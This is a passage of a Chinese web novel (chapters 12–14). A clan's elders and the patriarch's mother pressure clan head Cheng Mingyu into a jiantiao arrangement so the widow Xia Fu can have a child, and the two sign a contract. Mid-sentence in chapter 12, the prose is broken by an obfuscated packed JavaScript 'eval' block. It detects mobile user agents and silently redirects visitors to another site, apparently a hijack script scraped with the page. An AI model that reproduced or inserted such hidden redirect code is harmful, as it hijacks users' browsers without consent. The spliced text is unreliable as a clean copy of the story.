“见过族长。”除了周氏外,其余族老均还了一礼。 前厅明间左右各有八把交椅,四太太等人各自落座,程明昱亲自搀了母亲周氏在东面罗汉床安置,随后身姿磊落坐在正北的太师椅,大抵是收到了什么重要邸报,一直握在掌心没放,正色问大家, “诸位族老联袂而来,可是有事?” 虽说平日总有人来寻他商议族务,一口气来这么多倒也罕见。 四太太身子微微前倾,闻言瞟了五老爷一眼,五老爷如今在长老中颇有领衔之势,也是程明昱最敬重的长辈之一,由他开口最合适不过。 “明昱啊,是这样的,明祐荫子一事想必你已耳闻,明泽与明同为这事争执不休,闹得你四婶不眠不休数日...” 程明昱惦记着手中的急报,不声不响截住他的话,“此事我来办。” 他视线移向四太太,眉目沉静,“您老一碗水难得端平,我出面料理,他们必无二话。” 然他发现自己说完,诸人并无反应。 程明昱便觉怪了,以他之敏锐,当然也猜到今日人 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“那就过继。”程明昱眼风扫过去,眼神带着不容置疑的决断,“在族里过继个孩子给她,我出面来办,往后有事我担着。” 十二太太接话,“芙儿不答应,她不肯替旁人养孩子,怕将来孩子离心。” 这就不好办了。 程明昱掌心松了松,将那份邸报搁在身侧桌案,语气放缓,带着安抚,“我记得夏氏决心为丈夫守节,想必兼祧并非她本意,无非是顾虑有人觊觎她美色,那么我今日在此与诸位承诺,她的事我会安排妥当,绝不会叫人动她一根毫毛...” 五老爷轻哼一声,“你素日忙得不可开交,总不可能安一只眼睛在她身上吧,与其费这个心思,还不如名正言顺兼祧了她,那方是一劳永逸。” 程明昱:“......” 他给气笑了,语气冰凉,“总不能往后族中但凡有女人守寡,都叫我这个族长来兼祧?” 众人讪讪,哑口无言。 “都散了吧,此事我不会答应。”程明昱起身送客。 众人铩羽而归。 夜色如水,月华初上,两旁的太湖石在灯芒下投出奇崛的影子,踏碎一地竹影,惊起宿鸟,扑棱棱飞入更深的暗处。 四太太等人失望离去,程明昱亲自搀送母亲回房。 路上周氏搭着他瘦劲的手臂,连啧了好几声。 程明昱装作没听见,反与她说起京城郑家的事来,前不久郑家老太爷致仕,惦念外孙,非要将程亦彦接去抚养,程明昱每日均与郑家有书信往来,知道母亲记挂孩子,便将亦彦动静告知于她。 但大太太今日显见没有心情,反是问他, “你为何不答应?那芙儿是相貌配不上你,还是品格配不上你?又没叫你娶她,不过兼祧而已,你就眼睁睁看着她如一叶浮萍,身无所系?” 程明昱觉着母亲这番话好生没道理,他总不能因为一个女人可怜便与人家兼祧,不过母亲素来喜爱那夏氏,此番想撮合二人倒也不意外。 “母亲,族中可与她兼祧者,并非没有,母亲与族老们为她择合适的人选便是,不是非我不可。”程明昱语气平淡,并不想继续这个话题。 “怎么不是非你不可?”周氏冷眼扫过来,睨着身侧高大清俊的儿子,“你丧妻,又发誓不娶,往后不必担心有女人与她别苗头。换旁的男人,总归是有隐患的。” 程明昱眉峰蹙紧,已有不耐,“您既知我发誓不娶,如此不是逼着我在族人面前破誓么?打的是兼祧之名,行的是夫妻之实,儿子身为族长,岂能做这等掩耳盗铃自欺欺人之事,岂不荒唐,岂不可笑?” “你少给我扯这些!”周氏没好气道,“我告诉你,以芙儿之美貌,让你兼祧她,是便宜了你!” “正因为此,我才更不能行此荒诞之举。”把夏氏当什么了? 在程明昱看来,这个主意与欺负夏芙没有两样。 周氏被他堵得无话可说。 面对一身正气凛然的儿子,她也没辙。 12. 第 12 章 自四太太拿定主意要说服程明昱,夏芙便有些忐忑不安。 自小被闺范教导长大的小娘子,对着与一个陌生的男人兼祧是心存羞耻和不安的,这与她素来规行矩步的言行背道而驰,更何况她诚心为丈夫守节,怕他答应。 又怕他不答应,孩子的事落了空,往后彷徨无依。 心情难以言喻。 吩咐丫鬟们在西次间绣花打络子,独自在东次间窗棂内默坐,等到夜里亥时初刻,穿堂的门吱呀一声被人推开,借着昏暗的光色瞧见婆母独自迈进门槛,步伐沉重,显见没了出发时的意气风发。 便知事情没成。 也不意外。 原以为会松一口气,莫名的,竟更多的是茫然和空虚。 他不应,是另择他人?还是就此放弃? 事情好似又回到原点,诸多顾虑再度袭涌而上,怕金氏与三弟因名额逼着她过继,怕族里旁的男人就着兼祧做文章,怕程家待不下去,不得不离开或改嫁,怕身若浮萍身不由己....越想越觉着心口压了巨石一般。 这一瞬,夏芙忽然意识到,他好似当真是最稳妥的选择啊。 略作苦笑,夏芙摇着头,快步招呼丫鬟迎出来,扶四太太进屋。 四太太不是轻易被打倒的人,“不急,再磨磨他,一定磨得他应下这桩事。” 夏芙笑笑不说话。 翌日四太太自库房掏出几只山参并砚台,分别送去五房,十二房与十八房,请几位族老再接再厉,大家一口应下,接下来轮番堵截程明昱。今日有人将夏芙处境说的我见犹怜,明日有人将族里适宜男子名单递给他, “你瞧,人选都在这,年纪大的鳏夫不能要吧,年轻一些能配夏氏的也就这三人,一人腿瘸,一人不肯兼祧只接受改嫁,还有一人其貌不扬,哎哎哎,你听我说完.....” 十八老爷更果断,自四太太处要了一幅程明祐曾作的夏芙画像递给程明昱,“生得这般好颜色,我看族长不必兼祧,径直娶回去做夫人吧。”意在以进为退逼程明昱就范。 饶是几位族老嘴皮子说破,也没能撼动程明昱分毫。 为了打消族老的念头,程明昱避不见客,他若是躲人,那是易如反掌,否则这些年明澜长公主何至于连他一片衣角都瞧不见。然长公主殿下乐此不疲,日夜遣人蹲守程家大门外,每日得一些程明昱的消息聊以度日,以作慰藉。 自上半月磨到下半月,族老们眼看说不动程明昱,只能将炮火指向周氏,一个两个的成日里坐在周氏的明间,非逼她将事情揽下来。 四太太抹着泪道,“大嫂,此事我是先过了芙儿明路的,她咬着牙应了,如今明昱这边却迟迟不肯松口,可怜小娘子面儿薄,觉着难堪,这段时日都不敢来长房给您请安。” 这话周氏不做怀疑,也舍不得夏芙委屈,“那夜你们离去,我便劝了他,那混账不为所动,近段时日连我都避着了。” “无妨,我今日再劝劝他。” 七月二十九,日子渐渐转了凉,秋老虎虽余威赫赫,到底没有三伏天那般热了。 昨日程明昱一年守制结束,今日州郡的官员纷纷拜访,趁着他归京前笼络笼络关系,程明昱应酬一番,至晚方归,照旧戌时初刻行至荣华堂外,原不打算进去,在外行一礼,寻嬷嬷过问周氏起居便打算回房。 怎奈今日院子里静悄悄,安静得不同寻常。 守门的嬷嬷见程明昱驾到,立即迎上纳福。 “请家主安。” “母亲这是安置了?”周氏睡眠不好,一旦安歇,院子里便不敢闹出半点动静。 嬷嬷犯愁道,“回家主话,睡倒是没睡,不过没胃口用膳。” 程明昱略顿,只得掀袍进屋。 宽阔的明间正中摆着一张黄花梨的八仙桌,桌面备了十数道佳肴,均用鎏金铜盖掩着,大太太周氏靠在一旁圈椅假寐,听得一道脚步声清晰沉稳,便知是程明昱来了,也不睁眼,只往对面寥寥一指,“用膳了不曾,给你留的。” 程明昱没入席,而是来到她跟前,朝她行礼, “儿子近来诸务繁忙,不曾陪母亲用膳,与您道罪。” “哼!”周氏冷哼一声,抚了抚额间抹额,没接他这话。 程明昱何尝不知母亲近来在与他置气,唯恐她不惜身子,耐着性子劝导,“母亲,儿子侍奉您用膳。” “不吃!” “伤了身子如何是好?” “伤了便伤了,与其成日受气,还不如早些去九泉之下陪你父亲。”周氏拉着老长一张脸,极其不快地瞪着儿子。 程明昱脸色一变,肃然看着她,“母亲,您此话置儿子于何地?” 周氏迎上他的目光,“你可知芙儿得知你不肯应下兼祧,这几日茶饭不思,好好的小娘子,门都不敢出了,唯恐旁人笑话她。” 这话程明昱是一个字都不信。 事情没过明路前,族中长老绝不可能将此事外泄,以免夏芙承受风言风语,他也不会看着这样的事发生。 “您老莫要诓骗儿子,程家堡动静,儿子了如指掌。” 周氏气笑,重重哼他一声,干脆退席自圈椅挪去后方的罗汉床,偏身往上一坐,“你若真不答应,那我便干脆将芙儿说给你表弟,你表弟一表人才,正要去金陵任官,芙儿出生金陵,跟着去,怕是比嫁你还要好上百倍。” 程明昱被母亲这话给听笑了。 在他看来,夏芙既然能答应兼祧,便也能改嫁。 甭管母亲如何暗示,程明昱立如青松,神色不见半分动容。 周氏见他无动于衷,气狠了,直挺挺地往后倒去, “天爷呀,我这日子是过不下去了,老天爷先是夺了我的丈夫,又收了我两个儿媳,怎么不干脆将我也收了,好过在这人世白白受煎熬。” 说到最后还真哭出了音。 程明昱终于不能坐视不管,移步至她床前,声线发沉,“母亲,不过是一个隔房的侄媳,您何必为她将儿子逼迫到这般境地?” 周氏翻过身背对他,用帕子拭去眼泪。 她当然不是为了夏芙,即便再疼爱夏芙,也不可能为了她枉顾儿子心意。 她为的实则是程明昱。 这般年轻俊美的儿子,位高权重,举世无双,她怎么忍心看着他孤独终老,孑然一身。 在四太太看来,程明昱是最好的兼祧人选。 在她眼里,夏芙何尝不是儿子最般配的枕边人? 品性容貌均挑不出错,家世...都二婚了,还讲究什么家世。 她就是相中了夏芙。 换做旁人,她能应?没有她首肯,这种事绝无可能闹到程明昱跟前去。 打着兼祧的名头,先让二人处一处,万一看对眼了呢。 待回头时机成熟,再让夏芙改嫁过来做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531927|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正头娘子岂不美哉? “我不管,我就相中了芙儿!”周氏拿出当年对付程明昱父亲的本事,耍起了胡赖。如他们这等周正君子,最容不得人死皮赖脸磨,周氏对这一招很有信心,抽噎一声,演得越发上头。 “我好端端的的媳妇没了,老天爷就不能尝一个好媳妇给我么,我也想如旁人那般看着我儿子媳妇出双入对,相携终老,白发人送黑发人的滋味好受么?程明昱,就不能为你娘着想着想?” 程明昱只觉自己的母亲有些无理取闹。 然而还没想个法子来周全,榻上那位太太背对他絮絮叨叨,越发一副要死要活的模样, “你又不是没娶过妻,装什么贞洁烈汉?不就是那档子事么,想当初郑氏怀的也容易,耽误不了你多少工夫!族长大人便屈尊降贵,舍个孩子给她,叫她安身立命,叫四房消停消停,又如何?如此,我也得个孙儿,没事了去瞧瞧他,叫他承欢膝下,享享天伦,彦儿长大了也有个嫡亲的兄弟相互帮衬!” “程明昱,孔夫子教你何为君子,却也没让你不知变通!” “人家一个小娘子说应便应,反倒是你一个大男人十分地不痛快!”周氏越说情绪起伏越大,最后亮出杀手锏, “总归,你答应与芙儿兼祧,往后我便不再与你议亲,听凭你终身不娶,绝不干涉。” “否者,你就等着我缠你吧!” 事实上,程明昱发誓不娶,头一个站出来反对的便是周氏这个母亲。就如她劝夏芙莫要把路堵死一般,她也不愿看着儿子被誓言所困。 当初郑氏过世,程明昱便无意再娶。先是长公主逼婚于前,又有母亲周氏张罗在后,方才娶了李氏。如今虽背负克妻之名,然自李氏故去后,登门说亲者依然如过江之鲫。程明昱盛名在外,世人求亲的热情始终不减。 外头的人,程明昱自然可以不加理会。自己母亲,却不能置之不管。 是以周氏这个条件,还真叫程明昱侧了目。 年轻俊秀的男人,不得已,拉开一张圈椅,在她跟前坐下,对着耍起荤赖的母亲也是没辙。 他眼底浮现冷笑,“您这又是激将法,又是威逼利诱,唱的好大一出戏。” 周氏听出他语气隐有松动,暗乐了下,调转身面朝他,“怎么样,程家主意下如何?” 程明昱满腔无奈,又哭笑不得,骨节分明的手轻轻在太阳穴处摁了摁,掀眼问周氏,“您真的非夏氏不可?” 周氏坐直,抱着引枕,皮笑肉不笑,“你不用担心人家小娘子纠缠于你,人家一颗心坚守亡夫,只求得个孩子,得你一些庇护,图个安稳日子,不耽误你信守誓言。” 这话程明昱是信的。 那日亲耳听得夏芙立志为亡夫守节,不像首鼠两端之人。 她没有城府,一点风吹草动都写在脸上。 程明昱沉默,尚未表态。 周氏趁热打铁,快刀斩乱麻, “程明昱,你一贯信奉父母之命媒妁之言,你也素来相信我的眼光,那母亲我便告诉你,这事,就你了!” 周氏一锤定音,转身过去,把耳捂住,不给他反驳的机会。 程明昱委实被她整得一点脾气都没了,到了这个田地,不得不正视这桩事,修长指尖轻轻在眉棱敲打片刻,眉目渐而变得深邃, “我要见夏氏一面。” 确认此事经她首肯,而非受人逼迫。 13. 第 13 章 七月三十清晨,半空层层叠叠堆着云,四下里闷得慌。婆母一早便被十二房的太太请了去,夏芙过去请安,未曾见着人。折回秋香苑,嫌屋里闷热难消,便将锦杌与小案挪至廊下,唤了两个小丫鬟,一同做起了手工。 秋香苑里人口单薄,份例本就不多,金氏还时而克扣些去,丫鬟们更是沾不着半点油水。夏芙一月虽有五两月银,终究要攒着些用,不敢乱花。主仆平日用度极为节俭,但凡闲下来,总要寻些针线活计,聊以贴补。 秋蕖绣活好,会绣些帕子香巾,夏芙心灵手巧,便以五色线勾作香囊,再放些艾草菖蒲之类,交由秋蕖拿去外头卖。程家堡有自己的小集市,位于堡西最边一条街,高墙之下,琳琅满目摆列各色小摊,所售之物皆出自各房主子及丫鬟之手,或为自制,或为闲置旧物,借此换钱。堡外更有繁华街市,亦可拿去那头售卖,能卖个更好的价钱。 不过秋香苑在族中实在不起眼,平日出堡尚且艰难,遑论去外头寻门路。 主仆俩各忙各的,丫鬟雀儿忙着两边拉线打下手。 忙活一会儿,前去晨练的文宁回来了,手中抱了一大捧沾满朝露的花, “二奶奶,这是奴婢自后院子采来的花儿,您瞧着喜欢吗?” 满满的一大束,姹紫嫣红,各式各样的品种都有。 夏芙喜极,连忙吩咐小丫鬟进屋捧来花瓶,将花接过,打算插花。 自上回出事,夏芙便极少出门,文宁瞧在心里,每日去后花园晨练时,总要给夏芙捎一把回来,姑娘看着性子大大咧咧,实则心细。 夏芙很喜欢她,“给你留了几样早点,快去吃吧。” “多谢二奶奶。” 夏芙先用剪子裁出几枝花,插入梅瓶,余下花瓣打算摘下来晒干,回头做香囊。 刚刚收拾停当,守门的婆子领着一人进来。 夏芙抬眼望去,觉着面熟,依稀是长房里的哪位嬷嬷。 那嬷嬷穿过庭中,行至台阶下立定,朝夏芙端端正正施了一礼,“请二奶奶安,上回您给的方子,我们太太觉着没有先前的好,想请您过去当面调配,还得换回原先的方子才好。” 夏芙一惊,“可是大伯母吃着不适?” 嬷嬷笑道,“倒也没有,就是不大合胃口。” 夏芙明白了,“您稍候,我换换衣裳便随您去长房。” 留下一人招待嬷嬷,其余人簇拥夏芙进屋更衣。 夏芙这边换了一身杏子黄的薄褙,底下一条镶米粒珍珠的素白挑线裙,料子是上回周氏赏的,既不特别鲜艳,也不显老气,正贴合她的身份。 至于上回周氏给的金珠,四太太全数转给了夏芙,夏芙将最大的几颗锁进竖柜里,只拣了最小那一颗,嵌在一支双股花钿钗的正中。那钗本是双股金累丝打制,当中再嵌上这颗饱满圆润的金珠,便成了夏芙最贵气的一件首饰。平日里压根不敢戴出去,也只有去见周氏,才舍得拿出来。 除此之外,再无旁的配饰,到底在守寡,夏芙不能乱了分寸。 收拾妥当,文宁陪她出门。 迈出秋香苑的穿堂,夏芙心里仍有些不安,脚下微微迟疑,低声问那嬷嬷,“可要请我婆母一道去?”她从未单独去过长房,一个守寡的娘子,独自往那边跑,难免惹人议论,有婆母为伴更为妥帖。 嬷嬷这边本就刻意避开四太太,怎么可能再将人请回来。 “奶奶不用担心,您的顾虑我们太太心如明镜,不会有事的。” 夏芙不便推辞,遂随她往长房去,只不过今日这路径实在有些蹊跷,未曾走人来人往的宽道,反倒挑了一条僻静的林荫小径,自四房西侧的小园出来,循水沟往西行,来到一片水林前。 但见一片水松,密密匝匝矗于池中,一条平折石桥穿林而过,不知延伸向何处。 夏芙从未到过这里,不禁一惊。若不是长房来人相请,她早已折返。行至石桥口,她终究止了步,警惕地瞥向嬷嬷,“嬷嬷,这不是去荣华堂的路呀。” 嬷嬷笑着朝石桥一比,言简意赅:“家主要见您。” 夏芙心口一窒,登时睁圆了眼,紧张得几乎呼吸不过来,本欲追问家主因何见她,转念间便反应过来,顿时住了口,垂眸低声道:“我知道了。” 说罢深吸一口气,小心翼翼踏上石桥。穿过十折平桥,来到水林尽头,但见前方一大片荷花迎面而来,荷叶挨挨挤挤,高高低低,错落有致,茂盛得全然瞧不见水面。她早闻程家堡有一片浩浩汤汤的荷池,因是家主私地,平日人迹罕至,今日得见,果然蔚为壮观。 可惜此番没了赏景的心情,夏芙跟在嬷嬷身后,沿着水林边缘的石桥往西面折,只见前方一处水榭悬停在荷池之上,四柱没入水中,看不见根基,檐角微翘,欲飞未飞。 嬷嬷行至水榭廊庑下,便止了步,抬手往里比,夏芙定了定神,缓步往里去,文宁跟在她身后。 主仆二人越过廊角来到水榭正面的台樨,再一抬眼,只见水榭正中的厅堂,矗立一扇苏绣花鸟坐屏,屏风只有半人高,却足足有半丈之长,正巧将里间摆设遮了一半。 一童子立在屏风处,往当中的长案一比,请她落座。 夏芙依言跪坐在案后,及近,方瞧见屏风后隐约有个人影,身形被绢面滤得模糊,只剩一道清隽的轮廓,肩线平直,端坐如山,衣纹在昏光里层层叠叠,是月白色的,几乎与屏风上的烟云融在一起。 隔着屏风,夏芙都能感受到他一身静气。 夏芙如其他族人一般,对他满怀高山仰止,伏低身子给他请安。 程明昱正端坐案后,翻阅各地送来的邸报。程家铺子遍布大晋四境,每三日,驻守各处的密卫便将铺子收支、当地物价民生记录在档,发往程家堡,程明昱能从当中的蛛丝马迹窥出各地民情。 身为政事堂参知政事,他在寻常人眼中是最年轻的宰辅,名声赫赫,令人仰慕。可到了政事堂那几位资历深厚的宰辅跟前,便是后辈,最难啃的骨头,自然都推到他手中。手握度支大权的首相有意革新税制,命他暗中了解民情,打一打前哨,程明昱近来,便是在忙这件事。 在书童的提醒下,方知夏芙已到,这才抬起眼,一道柔柔静静的身影被天光勾勒出投在屏风,只见她微微垂首,脖颈弯出柔和的弧度,像一枝被露水压弯的荷茎,大抵是有些紧张,如初见般,嗓音露怯。 程明昱一瞬移开视线,抬袖还了一礼,“今日请你过来,有事相询。” “家主请说。”她声线经屏风滤染,带着几分柔曼。 程明昱目光落在屏风座架,开门见山, “兼祧是你自己的主意,还是婆母所为?” 夏芙一愣,听出他语气里的责问,多少有些难堪。 这一月来,婆母等人数度纠缠于程明昱,夏芙是有所耳闻的,今日来见,她便自觉难为情,摸不准家主是在考量,还是决意当面拒绝。 纵然婆母有为四房算计的意思在里头,终归也是为了她好,实处也落在她身上,夏芙做不到把责任推给旁人,遂定声回, “此议为十二叔母首倡,婆母意动,真心实意征求过我的想法,最终是我拿的主意。” 视线也没瞧他,而是好巧不巧与他一道落在屏风架处。 程明昱何等人物,听出姑娘紧张之余那股莽莽撞撞的担当。 失笑之余,也很 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夏芙闻言心弦绷紧,满腔的担忧终于落在了实处,他果然是为了推脱才见她一面,唯恐程明昱将她随意配人,支着身急急望向他,“我事先与婆母呈明过,不愿将来拉扯不休,若要兼祧,必得择一位不再续弦之人,否则,我宁可不要。” 所以,才把主意打到他这来? 这话换旁人说,程明昱必定认为对方盯的是他族长身份,相中的是背后利益。 而夏芙说出来,程明昱却相信她当真是为了往后不再纠缠。 程明昱一时无话可说。 到此时此刻,他不得不承认,结合夏芙经历与处境来看,他好似着实是最合适的人选。 茶烟袅袅迷离了他清冷的眉眼,程明昱呷了一口茶,抿紧薄唇,没有说话。 夏芙静静看着屏风后那道身影,心里头七上八下,她实在不擅长揣度男人的心思,过去程明祐也从不叫她猜,想什么只管说什么,她摸不准程明昱到底是个什么章程。 不管了,都走到这一步了,没有退缩的余地。 孟姐姐说得对,往前一步便是康庄大道。 与其是别人,不如是他。她知道他是君子,这样私下见面,亦是以屏风为隔,始终秉持君子之风。如此回头定能好聚好散,不叫彼此难堪。 是她仰仗他,求他庇护,权当她自私吧,豁出去算完。 夏芙鼓起这辈子最大的勇气,手帕在掌心拧了又拧,几欲绞烂。她睁着一双亮晶晶的眸子,直直望向那男人,拼尽全力争取, “家主,我只求个孩子傍身,为后半生谋个靠,绝无丝毫觊觎之心,只要家主答应,事成后,我绝不叨扰您零星半点。” 最后,她脆生生立誓,“可...立字为凭。” 风拂过来,掠进程明昱眸底,他掀起眼帘,视线定在那道绰绰约约的身影,有一瞬的锐利。 她家世低微,性情柔弱,偏又握着个荫庇的名额招人窥觎。 她毫无依仗,群狼环伺,无论择哪一条路,皆暗藏汹涌。 与其是别人,不如是他,至少能确保她不被人欺负,确保她得到尊重,事成干脆利落,不生瓜葛。 主意就在这一刻定下。 程明昱当机立断,“好,我答应你,待你有了身孕,绝不牵扯。” 也算峰回路转,是夏芙所没料到的,心念电转之际,方觉出了好一身汗。 她捧着帕子轻轻拭汗,高兴地松了一口气,“多谢家主。” 两下里定了章程,均无后顾之忧。 就此达成约定。 一个由他们自个制定规则的约定—— 约定接下来一段时日以夫妻相处。 只为一个孩子。 无关风月。 14. 第 14 章 程明昱这边应下,几位族老便聚在周氏的荣华堂,商议如何定章程。 嬷嬷上过茶后,十八老爷率先开了口,捋着胡须道:“就依咱们房先前的旧例,先写个契书,咱们做个见证,回头待孩子出生,再上族谱。” 周氏不急不缓地喝着茶,笑道,“契书什么的,不急着定,待生了孩子,再上族谱便是。” 四太太门儿清,看出周氏相中夏芙为媳,难保没有让夏芙过门的意思,唯恐临到头长房反悔,赔了夫人又折兵,她只能硬着头皮回绝,“还是先签契书,好叫两个孩子安心,以免多虑。” 她倒没有留夏芙一辈子的意思,只消孩子记在明祐名下,回头待时机成熟,叫夏芙去给明昱做伴,她也是乐见其成的。 兼祧是古法,自然得先经族老同意见证,过明礼方能成事。 周氏暗暗掂量了一番程明昱与夏芙的性子,若不过明路,那两位祖宗铁定是不应的,只能先走这一步。不过她这个人,从来不把话说死,也不把事做绝,总要给自己留一条退路。 “也成。”她放下茶盏,语气松快了几分,“先定契书,让此事名正言顺,给两个孩子吃颗定心丸。不过,”她话锋一转,目光扫过众人,“我的意思是,暂时不必在族中公布此事。” 四太太一惊,“为何?” 周氏瞥向她,“明澜长公主的人还在府门口蹲着呢,此事若宣扬得人尽皆知,你猜她会如何对付夏芙?” 这话如一盆冷水浇在四太太心头,别说夏芙,便是她自个以及整个四房都会成为明澜长公主泄愤的对象。 堂中一时寂静。 几位族老想起这茬,也不由生出忌惮。十二太太率先点了头,坚定地站在周氏这边, “还是嫂嫂考虑周全,先定兼祧之礼,不事声张,回头孩子诞下,再举办大礼,昭告族人,更为妥帖。届时尘埃落定,长公主拦也拦不住了。” 四太太转念一想,只待签订了契书,以程明昱重誉的性子,必不会食言。她这才定下心来:“就这么办。” 十八老爷拟定契书,先交由周氏和四太太过目,众人无异议后再送去程明昱处,这一夜程明昱回得晚,看了一眼契书,吩咐加上事后不再瓜葛这一条,族老原先不肯,程明昱坚持,也就没法。 程明昱这边先签了章,送去给夏芙,夏芙瞧了以为甚妥,立即盖下手印,最后再返给族老签字。契书一式三份,两份交给当事人,余下一份交存族中档案库存档,程明昱这份搁在自个书房,夏芙那份则被四太太收了起来。 事情就这么敲定。夏芙有如做了一场大梦,时常辗转反侧,为接下来的日子生出担忧迷茫甚至羞怯,不过念着能得个亲生骨肉,她又说服自己安心接受。 四太太可就有的忙,费了老大功夫将大儿子一家与小儿子赶回京城,又巴巴去长房讨示下, “今个儿已是八月初四,明昱这边预备何时过来?” 周氏笑容发苦,扔给她一张单子,“呐,昨个儿你们家主唤了明老太医征询,问过哪些日子适宜有孕,事先得知芙儿每月月事均在月底,老太医盘算一番说是月中同房,有孕机率最大,呐,程家主便圈定这四个日子,你拿去给芙儿,叫她心里有数。” 明太医原先在太医院任职,致仕后,被请来程家堡当府医,老人家德高望重,医术高明,犹擅妇科,很得程家礼遇。 周氏说完,两眼望天,不予置评。 四太太接过单子一看,只见上头圈定了十四、十五、十六、十七四日,其余时候不去。 默了默倒也没说什么。想当初她怀程明泽,也就新婚那几日的功夫。四日就四日吧,芙儿若幸运,没准这一月便能怀上。 四太太满意地收起单子,笑着说, “那我便回去,叫芙儿预备着。” “等等!”大太太将人叫住。 她心里把兼祧当成一门简易的婚事来待,不想草草敷衍,更不愿孩子事后回忆起全是委屈和遗憾。她拿定主意,一字一句道:“芙儿的院子怕是窄了,长房离着四房又远,来来去去不方便。我看给芙儿挪个地儿。河池旁那间听雨阁,格局宽敞,明亮大气,往后便给芙儿住了。” 周氏口中的听雨阁,便是前些日程明昱与夏芙相见之地。此地离程明昱书房极近,恰有一条林荫水道可通四房,便于夏芙去给四太太请安,可谓是两厢便宜。 况且那一带园子是程家禁地之一,无人敢擅闯,也绝了旁人窥视夏芙的心思。 又商议给两个孩子备新裳,四太太一应依她。 回了四房,四太太便将那张单子交予夏芙,夏芙见了,先是俏脸一阵通红,旋即心地踏实起来。瞧,家主便是家主,所虑所思全是为了孩子,多余的一天都没有,可见这个人选是对了。 “你回房,慢慢归置衣物箱笼,待听雨阁收拾妥当,便要搬去那头住。”四太太看着她,眉眼生怜,这一去,往后还不知能不能回来,婆媳相依相伴这些年,夏芙如女儿一般,哪里就轻易割舍得开。 夏芙却没搁在心上,慢腾腾将那张单子收入袖中,随口道,“娘,不过收拾些平日用惯的东西,费不了多少功夫,我先侍奉您用膳。” 离着十四尚有些时日,两下里紧锣密鼓预备起来。 长房那边很是慎重。 一来,将夏芙原先身旁的婆子丫鬟均安置去外头铺子里当差,只留下文宁和秋蕖。二来,修缮四房至听雨阁这一段的林道,招呼一批工匠架了一截长长的避雨长廊,供夏芙出入。三则,依照新婚规格装饰听雨阁。 前两桩事都十分顺利,最后一桩不知怎么落入了程明昱耳中,半路被叫了停。他只吩咐人问了夏芙喜好,依照她的习惯布置了屋子。 原先的秋香苑交予秋蕖打理,夏芙只带文宁过去,此外,长房还遣了一位老嬷嬷来伺候她。四房那边,借着一场大雨,以年久失修为由,叫夏芙临时挪了院子。至于挪去何地,寻常婆子丫鬟不得而知,即便心里有所猜测,在四太太的高压之下,也不敢妄言。 乔迁这一日,夏芙这边收拾了两个箱笼,四太太进屋时瞧见,不免皱眉,“怎么就这么点东西,你四季的衣裳不搬过去吗?” 夏芙握着帕子盈盈而立,嗓音柔婉,“娘,住不了多久,不必兴师动众。” 四太太道,“你大伯母的意思是往后那一带园子都归了你,那里景致宜人,也好安胎。” 夏芙坚持道,“待有了身子,我便回来陪娘。”那院子景致瑰丽,又是家主私地,她如何住得? 四太太也不好多劝,亲自送她去听雨阁。 东西不多,很快归置完毕,夏芙先去六房探望孟氏,又回四房陪婆母用晚膳,至夜里消食时方折回听雨阁。 院子地处水凹,三面临水,北面靠山。左右各有一间跨院,成环抱之势拥住主屋,远远望去,如临时栖息在水面、展翅欲飞的灵蝶。 主屋规制宏阔,轩敞明净。南面临水,辟为水阁。脚下河池匍匐一地睡莲,接天莲叶自阁前迤逦而去,一望无际。逢雨时,大珠小珠落玉盘,清响泠泠,如天籁之音,正合了李义山“留得残荷听雨声”的意境,故名“听雨阁”。 北面另自成景,窗是月洞窗,镶着半透明的鲛绡纱,外头瞧不见里间,里面却一眼揽尽院中风光。此地如程明昱书房一般,栽植了一片竹林。风拂过,有如凤箫轻咽,龙吟细细。再有一圈黑瓦白墙环过竹林,留下一扇月洞门。嬷嬷告诉过她,往后家主便打那扇门来。 随着日子渐近,夏芙心头紧张也不再出门, “我听说家主前几日回了京城,明日便是十四,回得来吗?” 这位嬷嬷姓周,原是程明昱的乳娘,本该在府上荣养,怎奈夏芙之事非同小可,周氏命她出山坐镇。 她细细地搅动瓷盅里的燕窝,试好温度方奉给她,温声道,“您别担心,家主向来守信,该不会爽约,即便临时有事,也会遣人来知会一声的,二奶奶只管安心。” 夏芙也没法子,接过燕窝慢慢地喝,心想来与不来,何时来,何时去,均由不得她做主,她能做的便是耗在这等。 * 十四日一早,程家堡便热闹了起来。 总账房的管事们忙得脚不沾地,招呼着小厮丫鬟四处拆挂灯盏。明日便是中秋佳节,外地的郎子要归家探望,出嫁的姑奶奶们也得回府省亲。年轻的媳妇们私下里做出各色糕点或绣活,争着孝敬周氏,整个程家堡比往日多了几分喧腾喜气。 周氏却没往年那等热情。 她面上和和气气地招待着往来女眷,私下却问了好几遍:“程明昱可有归家?” 悬了大半日的心,终于到了傍晚酉时初刻,等来了消息,人已到了门客房。周氏长舒一口气,连忙暗自吩咐身边嬷嬷:“叫他别来我这儿了,先把那事办妥,明日晨间再来请安。” 顿了顿,又知程明昱向来刻板守矩,复添了一句:“说我身子不适,早睡了,别来烦我。” 话虽如此,程明昱进府后,照旧先到荣华堂外,对着母亲正院恭恭敬敬行了一礼,问过起居饮食,方折回书房。 数日不曾回乡,案前堆积不少文书账目,需程明昱签发。 一身紫色官袍未褪,绕至案后便坐下开始忙碌。 拿过第一份账目,他便停了下来,神色不快,抬眸看向管家,“萧山送来的邸报里提过那一带仓库的租银,半年合计下来可不是这个数,东南铺租是何人在管?” 负责经手各地租子的三管家一听便知账目出了事,程明昱手中有明账,更有各处暗线送来的密报,程家延续数百年,家大业大,必得做一手,留一手,若非有手腕,如何坐隆中而知天下事。更叫他吃惊的是,平日里邸报甚是琐碎,这位年轻家主竟过目不忘,倏忽间便看出不对来。 三管家冷汗涔涔,掖手下拜,“回家主话,东南铺子归刘旋巡视,账目是他核对过的,老奴....” “你也有失察之责。”程明昱淡声截住他的话,将这份账目扔回给他,“想必他已与铺子里的管事勾结,做好了欺上瞒下的准备,这个人不能用了,你亲自查账,五日后,我要结果。” 